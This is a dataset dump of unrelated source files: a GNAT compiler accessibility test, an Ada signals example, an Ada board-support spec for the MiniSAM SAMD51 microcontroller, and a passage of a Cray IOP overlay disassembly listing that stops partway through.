max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/aliased_prefix_accessibility.adb | best08618/asylo | 7 | 3738 | -- { dg-do run }
with Tagged_Type_Pkg; use Tagged_Type_Pkg;
with Ada.Text_IO; use Ada.Text_IO;
procedure Aliased_Prefix_Accessibility is
T_Obj : aliased TT;
T_Obj_Acc : access TT'Class := T_Obj'Access;
type Nested_TT is limited record
TT_Comp : aliased TT;
end record;
NTT_Obj : Nested_TT;
ATT_Obj : array (1 .. 2) of aliased TT;
begin
begin
T_Obj_Acc := Pass_TT_Access (T_Obj'Access);
Put_Line ("FAILED (1): call should have raised an exception");
exception
when others =>
null;
end;
begin
T_Obj_Acc := T_Obj.Pass_TT_Access;
Put_Line ("FAILED (2): call should have raised an exception");
exception
when others =>
null;
end;
begin
T_Obj_Acc := Pass_TT_Access (NTT_Obj.TT_Comp'Access);
Put_Line ("FAILED (3): call should have raised an exception");
exception
when others =>
null;
end;
begin
T_Obj_Acc := NTT_Obj.TT_Comp.Pass_TT_Access;
Put_Line ("FAILED (4): call should have raised an exception");
exception
when others =>
null;
end;
begin
T_Obj_Acc := Pass_TT_Access (ATT_Obj (1)'Access);
Put_Line ("FAILED (5): call should have raised an exception");
exception
when others =>
null;
end;
begin
T_Obj_Acc := ATT_Obj (2).Pass_TT_Access;
Put_Line ("FAILED (6): call should have raised an exception");
exception
when others =>
null;
end;
end Aliased_Prefix_Accessibility;
|
examples/signals/slots.adb | glencornell/ada-object-framework | 0 | 6916 | <filename>examples/signals/slots.adb
with Ada.Text_Io;
package body Slots is
procedure Xaa is
begin
Ada.Text_Io.Put_Line("Xaa() called");
end;
procedure Xab is
begin
Ada.Text_Io.Put_Line("Xab() called");
end;
procedure Xac is
begin
Ada.Text_Io.Put_Line("Xac() called");
end;
procedure S1a (Value : in Integer) is
begin
Ada.Text_Io.Put_Line("S1a(" & Value'Image & ") called");
end;
procedure S1b (Value : in Integer) is
begin
Ada.Text_Io.Put_Line("S1b(" & Value'Image & ") called");
end;
procedure S1c (Value : in Integer) is
begin
Ada.Text_Io.Put_Line("S1c(" & Value'Image & ") called");
end;
end Slots;
|
src/minisamd51.ads | Fabien-Chouteau/minisamd51_bsp | 0 | 10253 | <filename>src/minisamd51.ads<gh_stars>0
------------------------------------------------------------------------------
-- --
-- Copyright (C) 2020, AdaCore --
-- --
-- Redistribution and use in source and binary forms, with or without --
-- modification, are permitted provided that the following conditions are --
-- met: --
-- 1. Redistributions of source code must retain the above copyright --
-- notice, this list of conditions and the following disclaimer. --
-- 2. Redistributions in binary form must reproduce the above copyright --
-- notice, this list of conditions and the following disclaimer in --
-- the documentation and/or other materials provided with the --
-- distribution. --
-- 3. Neither the name of the copyright holder nor the names of its --
-- contributors may be used to endorse or promote products derived --
-- from this software without specific prior written permission. --
-- --
-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS --
-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT --
-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR --
-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT --
-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, --
-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT --
-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, --
-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY --
-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT --
-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE --
-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. --
-- --
------------------------------------------------------------------------------
with HAL;
with SAM.Device;
with SAM.Port;
with SAM.SERCOM.I2C;
with SAM.SERCOM.SPI;
package Minisamd51 is
procedure Turn_On_LED;
-- Turn on the red spaceship LED
procedure Turn_Off_LED;
-- Turn off the red spaceship LED
function Button_Pressed return Boolean;
-- Return True if the button the left leg of MiniSAM is pressed
procedure Set_RGB (Brightness : HAL.UInt5;
R, G, B : HAL.UInt8);
-- Control the "dotstar" RGB LED
-- IOs --
I2C_Port : SAM.SERCOM.I2C.I2C_Device renames SAM.Device.I2C2;
SPI_Port : SAM.SERCOM.SPI.SPI_Device renames SAM.Device.SPI1;
D0 : SAM.Port.GPIO_Point renames SAM.Device.PA16;
D1 : SAM.Port.GPIO_Point renames SAM.Device.PA17;
D2 : SAM.Port.GPIO_Point renames SAM.Device.PA07;
D3 : SAM.Port.GPIO_Point renames SAM.Device.PA19;
D4 : SAM.Port.GPIO_Point renames SAM.Device.PA20;
D5 : SAM.Port.GPIO_Point renames SAM.Device.PA21;
D9 : SAM.Port.GPIO_Point renames SAM.Device.PA02;
D10 : SAM.Port.GPIO_Point renames SAM.Device.PB08;
D11 : SAM.Port.GPIO_Point renames SAM.Device.PB09;
D12 : SAM.Port.GPIO_Point renames SAM.Device.PA04;
D13 : SAM.Port.GPIO_Point renames SAM.Device.PA05;
D14 : SAM.Port.GPIO_Point renames SAM.Device.PA06;
AREF : SAM.Port.GPIO_Point renames SAM.Device.PA03;
A0 : SAM.Port.GPIO_Point renames D9;
A1 : SAM.Port.GPIO_Point renames D10;
A2 : SAM.Port.GPIO_Point renames D11;
A3 : SAM.Port.GPIO_Point renames D12;
A4 : SAM.Port.GPIO_Point renames D13;
A5 : SAM.Port.GPIO_Point renames D14;
A6 : SAM.Port.GPIO_Point renames D2;
DAC1 : SAM.Port.GPIO_Point renames D9;
DAC0 : SAM.Port.GPIO_Point renames D13;
LED : SAM.Port.GPIO_Point renames SAM.Device.PA15;
Button : SAM.Port.GPIO_Point renames SAM.Device.PA00;
RX : SAM.Port.GPIO_Point renames D0;
TX : SAM.Port.GPIO_Point renames D1;
private
SWDIO : SAM.Port.GPIO_Point renames SAM.Device.PA30;
SWCLK : SAM.Port.GPIO_Point renames SAM.Device.PA31;
-- I2C --
SCL : SAM.Port.GPIO_Point renames SAM.Device.PA13;
SDA : SAM.Port.GPIO_Point renames SAM.Device.PA12;
-- SPI --
MOSI : SAM.Port.GPIO_Point renames SAM.Device.PB22;
MISO : SAM.Port.GPIO_Point renames SAM.Device.PB23;
SCK : SAM.Port.GPIO_Point renames SAM.Device.PA01;
QSPI_SCK : SAM.Port.GPIO_Point renames SAM.Device.PB10;
QSPI_CS : SAM.Port.GPIO_Point renames SAM.Device.PB11;
QSPI_D0 : SAM.Port.GPIO_Point renames SAM.Device.PA08;
QSPI_D1 : SAM.Port.GPIO_Point renames SAM.Device.PA09;
QSPI_D2 : SAM.Port.GPIO_Point renames SAM.Device.PA10;
QSPI_D3 : SAM.Port.GPIO_Point renames SAM.Device.PA11;
DOTSTAR_CLK : SAM.Port.GPIO_Point renames SAM.Device.PB02;
DOTSTAR_DATA : SAM.Port.GPIO_Point renames SAM.Device.PB03;
end Minisamd51;
|
target/cos_117/disasm/iop_overlay1/IAMSG.asm | jrrk2/cray-sim | 49 | 242239 | 0x0000 (0x000000) 0x211A- f:00020 d: 282 | A = OR[282]
0x0001 (0x000002) 0x0806- f:00004 d: 6 | A = A > 6 (0x0006)
0x0002 (0x000004) 0x291A- f:00024 d: 282 | OR[282] = A
0x0003 (0x000006) 0x2038- f:00020 d: 56 | A = OR[56]
0x0004 (0x000008) 0x1460- f:00012 d: 96 | A = A + 96 (0x0060)
0x0005 (0x00000A) 0x291E- f:00024 d: 286 | OR[286] = A
0x0006 (0x00000C) 0x2038- f:00020 d: 56 | A = OR[56]
0x0007 (0x00000E) 0x156B- f:00012 d: 363 | A = A + 363 (0x016B)
0x0008 (0x000010) 0x2922- f:00024 d: 290 | OR[290] = A
0x0009 (0x000012) 0x2038- f:00020 d: 56 | A = OR[56]
0x000A (0x000014) 0x156F- f:00012 d: 367 | A = A + 367 (0x016F)
0x000B (0x000016) 0x2921- f:00024 d: 289 | OR[289] = A
0x000C (0x000018) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x000D (0x00001A) 0x2920- f:00024 d: 288 | OR[288] = A
0x000E (0x00001C) 0x1042- f:00010 d: 66 | A = 66 (0x0042)
0x000F (0x00001E) 0x2913- f:00024 d: 275 | OR[275] = A
0x0010 (0x000020) 0x2120- f:00020 d: 288 | A = OR[288]
0x0011 (0x000022) 0x271A- f:00023 d: 282 | A = A - OR[282]
0x0012 (0x000024) 0x8328- f:00101 d: 296 | P = P + 296 (0x013A), C = 1
0x0013 (0x000026) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x0014 (0x000028) 0x2926- f:00024 d: 294 | OR[294] = A
0x0015 (0x00002A) 0x2118- f:00020 d: 280 | A = OR[280]
0x0016 (0x00002C) 0x2927- f:00024 d: 295 | OR[295] = A
0x0017 (0x00002E) 0x2119- f:00020 d: 281 | A = OR[281]
0x0018 (0x000030) 0x2520- f:00022 d: 288 | A = A + OR[288]
0x0019 (0x000032) 0x2928- f:00024 d: 296 | OR[296] = A
0x001A (0x000034) 0x211E- f:00020 d: 286 | A = OR[286]
0x001B (0x000036) 0x2929- f:00024 d: 297 | OR[297] = A
0x001C (0x000038) 0x2113- f:00020 d: 275 | A = OR[275]
0x001D (0x00003A) 0x292A- f:00024 d: 298 | OR[298] = A
0x001E (0x00003C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x001F (0x00003E) 0x292B- f:00024 d: 299 | OR[299] = A
0x0020 (0x000040) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x0021 (0x000042) 0x5800- f:00054 d: 0 | B = A
0x0022 (0x000044) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0023 (0x000046) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0024 (0x000048) 0x211E- f:00020 d: 286 | A = OR[286]
0x0025 (0x00004A) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0026 (0x00004C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0027 (0x00004E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0028 (0x000050) 0x1A00-0x0FFF f:00015 d: 0 | A = A & 4095 (0x0FFF)
0x002A (0x000054) 0x291F- f:00024 d: 287 | OR[287] = A
0x002B (0x000056) 0x2D1F- f:00026 d: 287 | OR[287] = OR[287] + 1
0x002C (0x000058) 0x2120- f:00020 d: 288 | A = OR[288]
0x002D (0x00005A) 0x251F- f:00022 d: 287 | A = A + OR[287]
0x002E (0x00005C) 0x2920- f:00024 d: 288 | OR[288] = A
0x002F (0x00005E) 0x311E- f:00030 d: 286 | A = (OR[286])
0x0030 (0x000060) 0x0804- f:00004 d: 4 | A = A > 4 (0x0004)
0x0031 (0x000062) 0x2913- f:00024 d: 275 | OR[275] = A
0x0032 (0x000064) 0x2113- f:00020 d: 275 | A = OR[275]
0x0033 (0x000066) 0x1605- f:00013 d: 5 | A = A - 5 (0x0005)
0x0034 (0x000068) 0x8003- f:00100 d: 3 | P = P + 3 (0x0037), C = 0
0x0035 (0x00006A) 0x8402- f:00102 d: 2 | P = P + 2 (0x0037), A = 0
0x0036 (0x00006C) 0x70F5- f:00070 d: 245 | P = P + 245 (0x012B)
0x0037 (0x00006E) 0x2121- f:00020 d: 289 | A = OR[289]
0x0038 (0x000070) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x0039 (0x000072) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x003A (0x000074) 0x2914- f:00024 d: 276 | OR[276] = A
0x003B (0x000076) 0x211E- f:00020 d: 286 | A = OR[286]
0x003C (0x000078) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x003D (0x00007A) 0x2908- f:00024 d: 264 | OR[264] = A
0x003E (0x00007C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x003F (0x00007E) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0040 (0x000080) 0x2915- f:00024 d: 277 | OR[277] = A
0x0041 (0x000082) 0x2115- f:00020 d: 277 | A = OR[277]
0x0042 (0x000084) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x0043 (0x000086) 0x8402- f:00102 d: 2 | P = P + 2 (0x0045), A = 0
0x0044 (0x000088) 0x7027- f:00070 d: 39 | P = P + 39 (0x006B)
0x0045 (0x00008A) 0x211E- f:00020 d: 286 | A = OR[286]
0x0046 (0x00008C) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x0047 (0x00008E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0048 (0x000090) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0049 (0x000092) 0x127F- f:00011 d: 127 | A = A & 127 (0x007F)
0x004A (0x000094) 0x1630- f:00013 d: 48 | A = A - 48 (0x0030)
0x004B (0x000096) 0x2916- f:00024 d: 278 | OR[278] = A
0x004C (0x000098) 0x2116- f:00020 d: 278 | A = OR[278]
0x004D (0x00009A) 0x3914- f:00034 d: 276 | (OR[276]) = A
0x004E (0x00009C) 0x2116- f:00020 d: 278 | A = OR[278]
0x004F (0x00009E) 0x2522- f:00022 d: 290 | A = A + OR[290]
0x0050 (0x0000A0) 0x2917- f:00024 d: 279 | OR[279] = A
0x0051 (0x0000A2) 0x3117- f:00030 d: 279 | A = (OR[279])
0x0052 (0x0000A4) 0x291D- f:00024 d: 285 | OR[285] = A
0x0053 (0x0000A6) 0x211D- f:00020 d: 285 | A = OR[285]
0x0054 (0x0000A8) 0x8602- f:00103 d: 2 | P = P + 2 (0x0056), A # 0
0x0055 (0x0000AA) 0x7015- f:00070 d: 21 | P = P + 21 (0x006A)
0x0056 (0x0000AC) 0x211D- f:00020 d: 285 | A = OR[285]
0x0057 (0x0000AE) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x0058 (0x0000B0) 0x2915- f:00024 d: 277 | OR[277] = A
0x0059 (0x0000B2) 0x2113- f:00020 d: 275 | A = OR[275]
0x005A (0x0000B4) 0x1A00-0x0FFF f:00015 d: 0 | A = A & 4095 (0x0FFF)
0x005C (0x0000B8) 0x2913- f:00024 d: 275 | OR[275] = A
0x005D (0x0000BA) 0x3115- f:00030 d: 277 | A = (OR[277])
0x005E (0x0000BC) 0x0A0D- f:00005 d: 13 | A = A < 13 (0x000D)
0x005F (0x0000BE) 0x2513- f:00022 d: 275 | A = A + OR[275]
0x0060 (0x0000C0) 0x0C0D- f:00006 d: 13 | A = A >> 13 (0x000D)
0x0061 (0x0000C2) 0x3915- f:00034 d: 277 | (OR[277]) = A
0x0062 (0x0000C4) 0x211D- f:00020 d: 285 | A = OR[285]
0x0063 (0x0000C6) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0064 (0x0000C8) 0x2908- f:00024 d: 264 | OR[264] = A
0x0065 (0x0000CA) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0066 (0x0000CC) 0x1A00-0xFFFE f:00015 d: 0 | A = A & 65534 (0xFFFE)
0x0068 (0x0000D0) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0069 (0x0000D2) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x006A (0x0000D4) 0x70C1- f:00070 d: 193 | P = P + 193 (0x012B)
0x006B (0x0000D6) 0x2115- f:00020 d: 277 | A = OR[277]
0x006C (0x0000D8) 0x1603- f:00013 d: 3 | A = A - 3 (0x0003)
0x006D (0x0000DA) 0x8402- f:00102 d: 2 | P = P + 2 (0x006F), A = 0
0x006E (0x0000DC) 0x7035- f:00070 d: 53 | P = P + 53 (0x00A3)
0x006F (0x0000DE) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x0070 (0x0000E0) 0x2926- f:00024 d: 294 | OR[294] = A
0x0071 (0x0000E2) 0x1011- f:00010 d: 17 | A = 17 (0x0011)
0x0072 (0x0000E4) 0x2927- f:00024 d: 295 | OR[295] = A
0x0073 (0x0000E6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0074 (0x0000E8) 0x2928- f:00024 d: 296 | OR[296] = A
0x0075 (0x0000EA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0076 (0x0000EC) 0x2929- f:00024 d: 297 | OR[297] = A
0x0077 (0x0000EE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0078 (0x0000F0) 0x292A- f:00024 d: 298 | OR[298] = A
0x0079 (0x0000F2) 0x1125- f:00010 d: 293 | A = 293 (0x0125)
0x007A (0x0000F4) 0x292B- f:00024 d: 299 | OR[299] = A
0x007B (0x0000F6) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x007C (0x0000F8) 0x5800- f:00054 d: 0 | B = A
0x007D (0x0000FA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x007E (0x0000FC) 0x7C09- f:00076 d: 9 | R = OR[9]
0x007F (0x0000FE) 0x8402- f:00102 d: 2 | P = P + 2 (0x0081), A = 0
0x0080 (0x000100) 0x7022- f:00070 d: 34 | P = P + 34 (0x00A2)
0x0081 (0x000102) 0x2003- f:00020 d: 3 | A = OR[3]
0x0082 (0x000104) 0x1C00-0x0152 f:00016 d: 0 | A = A + 338 (0x0152)
0x0084 (0x000108) 0x290D- f:00024 d: 269 | OR[269] = A
0x0085 (0x00010A) 0x2125- f:00020 d: 293 | A = OR[293]
0x0086 (0x00010C) 0x290E- f:00024 d: 270 | OR[270] = A
0x0087 (0x00010E) 0x1011- f:00010 d: 17 | A = 17 (0x0011)
0x0088 (0x000110) 0x290F- f:00024 d: 271 | OR[271] = A
0x0089 (0x000112) 0x7006- f:00070 d: 6 | P = P + 6 (0x008F)
0x008A (0x000114) 0x310D- f:00030 d: 269 | A = (OR[269])
0x008B (0x000116) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x008C (0x000118) 0x2D0D- f:00026 d: 269 | OR[269] = OR[269] + 1
0x008D (0x00011A) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x008E (0x00011C) 0x2F0F- f:00027 d: 271 | OR[271] = OR[271] - 1
0x008F (0x00011E) 0x210F- f:00020 d: 271 | A = OR[271]
0x0090 (0x000120) 0x8E06- f:00107 d: 6 | P = P - 6 (0x008A), A # 0
0x0091 (0x000122) 0x1010- f:00010 d: 16 | A = 16 (0x0010)
0x0092 (0x000124) 0x2926- f:00024 d: 294 | OR[294] = A
0x0093 (0x000126) 0x2125- f:00020 d: 293 | A = OR[293]
0x0094 (0x000128) 0x2927- f:00024 d: 295 | OR[295] = A
0x0095 (0x00012A) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x0096 (0x00012C) 0x5800- f:00054 d: 0 | B = A
0x0097 (0x00012E) 0x1800-0x1D18 f:00014 d: 0 | A = 7448 (0x1D18)
0x0099 (0x000132) 0x7C09- f:00076 d: 9 | R = OR[9]
0x009A (0x000134) 0x1019- f:00010 d: 25 | A = 25 (0x0019)
0x009B (0x000136) 0x2926- f:00024 d: 294 | OR[294] = A
0x009C (0x000138) 0x2125- f:00020 d: 293 | A = OR[293]
0x009D (0x00013A) 0x2927- f:00024 d: 295 | OR[295] = A
0x009E (0x00013C) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x009F (0x00013E) 0x5800- f:00054 d: 0 | B = A
0x00A0 (0x000140) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00A1 (0x000142) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00A2 (0x000144) 0x7089- f:00070 d: 137 | P = P + 137 (0x012B)
0x00A3 (0x000146) 0x2122- f:00020 d: 290 | A = OR[290]
0x00A4 (0x000148) 0x3514- f:00032 d: 276 | A = A + (OR[276])
0x00A5 (0x00014A) 0x2917- f:00024 d: 279 | OR[279] = A
0x00A6 (0x00014C) 0x3117- f:00030 d: 279 | A = (OR[279])
0x00A7 (0x00014E) 0x291D- f:00024 d: 285 | OR[285] = A
0x00A8 (0x000150) 0x211D- f:00020 d: 285 | A = OR[285]
0x00A9 (0x000152) 0x8602- f:00103 d: 2 | P = P + 2 (0x00AB), A # 0
0x00AA (0x000154) 0x7081- f:00070 d: 129 | P = P + 129 (0x012B)
0x00AB (0x000156) 0x2115- f:00020 d: 277 | A = OR[277]
0x00AC (0x000158) 0x160A- f:00013 d: 10 | A = A - 10 (0x000A)
0x00AD (0x00015A) 0x847E- f:00102 d: 126 | P = P + 126 (0x012B), A = 0
0x00AE (0x00015C) 0x211D- f:00020 d: 285 | A = OR[285]
0x00AF (0x00015E) 0x140C- f:00012 d: 12 | A = A + 12 (0x000C)
0x00B0 (0x000160) 0x2908- f:00024 d: 264 | OR[264] = A
0x00B1 (0x000162) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00B2 (0x000164) 0x2923- f:00024 d: 291 | OR[291] = A
0x00B3 (0x000166) 0x211D- f:00020 d: 285 | A = OR[285]
0x00B4 (0x000168) 0x140D- f:00012 d: 13 | A = A + 13 (0x000D)
0x00B5 (0x00016A) 0x2908- f:00024 d: 264 | OR[264] = A
0x00B6 (0x00016C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00B7 (0x00016E) 0x2924- f:00024 d: 292 | OR[292] = A
0x00B8 (0x000170) 0x211D- f:00020 d: 285 | A = OR[285]
0x00B9 (0x000172) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x00BA (0x000174) 0x2908- f:00024 d: 264 | OR[264] = A
0x00BB (0x000176) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00BC (0x000178) 0x291C- f:00024 d: 284 | OR[284] = A
0x00BD (0x00017A) 0x211F- f:00020 d: 287 | A = OR[287]
0x00BE (0x00017C) 0x290D- f:00024 d: 269 | OR[269] = A
0x00BF (0x00017E) 0x1800-0x0200 f:00014 d: 0 | A = 512 (0x0200)
0x00C1 (0x000182) 0x271C- f:00023 d: 284 | A = A - OR[284]
0x00C2 (0x000184) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C3 (0x000186) 0x210D- f:00020 d: 269 | A = OR[269]
0x00C4 (0x000188) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00C5 (0x00018A) 0x8005- f:00100 d: 5 | P = P + 5 (0x00CA), C = 0
0x00C6 (0x00018C) 0x1800-0x0200 f:00014 d: 0 | A = 512 (0x0200)
0x00C8 (0x000190) 0x271C- f:00023 d: 284 | A = A - OR[284]
0x00C9 (0x000192) 0x290D- f:00024 d: 269 | OR[269] = A
0x00CA (0x000194) 0x210D- f:00020 d: 269 | A = OR[269]
0x00CB (0x000196) 0x291B- f:00024 d: 283 | OR[283] = A
0x00CC (0x000198) 0x1027- f:00010 d: 39 | A = 39 (0x0027)
0x00CD (0x00019A) 0x2926- f:00024 d: 294 | OR[294] = A
0x00CE (0x00019C) 0x2123- f:00020 d: 291 | A = OR[291]
0x00CF (0x00019E) 0x2927- f:00024 d: 295 | OR[295] = A
0x00D0 (0x0001A0) 0x2124- f:00020 d: 292 | A = OR[292]
0x00D1 (0x0001A2) 0x251C- f:00022 d: 284 | A = A + OR[284]
0x00D2 (0x0001A4) 0x2928- f:00024 d: 296 | OR[296] = A
0x00D3 (0x0001A6) 0x211E- f:00020 d: 286 | A = OR[286]
0x00D4 (0x0001A8) 0x2929- f:00024 d: 297 | OR[297] = A
0x00D5 (0x0001AA) 0x211B- f:00020 d: 283 | A = OR[283]
0x00D6 (0x0001AC) 0x292A- f:00024 d: 298 | OR[298] = A
0x00D7 (0x0001AE) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00D8 (0x0001B0) 0x292B- f:00024 d: 299 | OR[299] = A
0x00D9 (0x0001B2) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x00DA (0x0001B4) 0x5800- f:00054 d: 0 | B = A
0x00DB (0x0001B6) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00DC (0x0001B8) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00DD (0x0001BA) 0x211B- f:00020 d: 283 | A = OR[283]
0x00DE (0x0001BC) 0x271F- f:00023 d: 287 | A = A - OR[287]
0x00DF (0x0001BE) 0x8002- f:00100 d: 2 | P = P + 2 (0x00E1), C = 0
0x00E0 (0x0001C0) 0x7014- f:00070 d: 20 | P = P + 20 (0x00F4)
0x00E1 (0x0001C2) 0x1027- f:00010 d: 39 | A = 39 (0x0027)
0x00E2 (0x0001C4) 0x2926- f:00024 d: 294 | OR[294] = A
0x00E3 (0x0001C6) 0x2123- f:00020 d: 291 | A = OR[291]
0x00E4 (0x0001C8) 0x2927- f:00024 d: 295 | OR[295] = A
0x00E5 (0x0001CA) 0x2124- f:00020 d: 292 | A = OR[292]
0x00E6 (0x0001CC) 0x2928- f:00024 d: 296 | OR[296] = A
0x00E7 (0x0001CE) 0x211B- f:00020 d: 283 | A = OR[283]
0x00E8 (0x0001D0) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x00E9 (0x0001D2) 0x251E- f:00022 d: 286 | A = A + OR[286]
0x00EA (0x0001D4) 0x2929- f:00024 d: 297 | OR[297] = A
0x00EB (0x0001D6) 0x211F- f:00020 d: 287 | A = OR[287]
0x00EC (0x0001D8) 0x271B- f:00023 d: 283 | A = A - OR[283]
0x00ED (0x0001DA) 0x292A- f:00024 d: 298 | OR[298] = A
0x00EE (0x0001DC) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00EF (0x0001DE) 0x292B- f:00024 d: 299 | OR[299] = A
0x00F0 (0x0001E0) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x00F1 (0x0001E2) 0x5800- f:00054 d: 0 | B = A
0x00F2 (0x0001E4) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00F3 (0x0001E6) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00F4 (0x0001E8) 0x211C- f:00020 d: 284 | A = OR[284]
0x00F5 (0x0001EA) 0x251F- f:00022 d: 287 | A = A + OR[287]
0x00F6 (0x0001EC) 0x13FF- f:00011 d: 511 | A = A & 511 (0x01FF)
0x00F7 (0x0001EE) 0x291C- f:00024 d: 284 | OR[284] = A
0x00F8 (0x0001F0) 0x211D- f:00020 d: 285 | A = OR[285]
0x00F9 (0x0001F2) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x00FA (0x0001F4) 0x2908- f:00024 d: 264 | OR[264] = A
0x00FB (0x0001F6) 0x211C- f:00020 d: 284 | A = OR[284]
0x00FC (0x0001F8) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00FD (0x0001FA) 0x211D- f:00020 d: 285 | A = OR[285]
0x00FE (0x0001FC) 0x140F- f:00012 d: 15 | A = A + 15 (0x000F)
0x00FF (0x0001FE) 0x2908- f:00024 d: 264 | OR[264] = A
0x0100 (0x000200) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0101 (0x000202) 0x2913- f:00024 d: 275 | OR[275] = A
0x0102 (0x000204) 0x211C- f:00020 d: 284 | A = OR[284]
0x0103 (0x000206) 0x2713- f:00023 d: 275 | A = A - OR[275]
0x0104 (0x000208) 0x13FF- f:00011 d: 511 | A = A & 511 (0x01FF)
0x0105 (0x00020A) 0x2914- f:00024 d: 276 | OR[276] = A
0x0106 (0x00020C) 0x2114- f:00020 d: 276 | A = OR[276]
0x0107 (0x00020E) 0x1780- f:00013 d: 384 | A = A - 384 (0x0180)
0x0108 (0x000210) 0x8202- f:00101 d: 2 | P = P + 2 (0x010A), C = 1
0x0109 (0x000212) 0x7015- f:00070 d: 21 | P = P + 21 (0x011E)
0x010A (0x000214) 0x211D- f:00020 d: 285 | A = OR[285]
0x010B (0x000216) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x010C (0x000218) 0x2915- f:00024 d: 277 | OR[277] = A
0x010D (0x00021A) 0x2115- f:00020 d: 277 | A = OR[277]
0x010E (0x00021C) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x010F (0x00021E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0110 (0x000220) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0111 (0x000222) 0x0A05- f:00005 d: 5 | A = A < 5 (0x0005)
0x0112 (0x000224) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0113 (0x000226) 0x0C05- f:00006 d: 5 | A = A >> 5 (0x0005)
0x0114 (0x000228) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0115 (0x00022A) 0x211D- f:00020 d: 285 | A = OR[285]
0x0116 (0x00022C) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0117 (0x00022E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0118 (0x000230) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0119 (0x000232) 0x0E0B- f:00007 d: 11 | A = A << 11 (0x000B)
0x011A (0x000234) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001)
0x011B (0x000236) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x011C (0x000238) 0x0C0C- f:00006 d: 12 | A = A >> 12 (0x000C)
0x011D (0x00023A) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x011E (0x00023C) 0x211D- f:00020 d: 285 | A = OR[285]
0x011F (0x00023E) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x0120 (0x000240) 0x2916- f:00024 d: 278 | OR[278] = A
0x0121 (0x000242) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x0122 (0x000244) 0x2926- f:00024 d: 294 | OR[294] = A
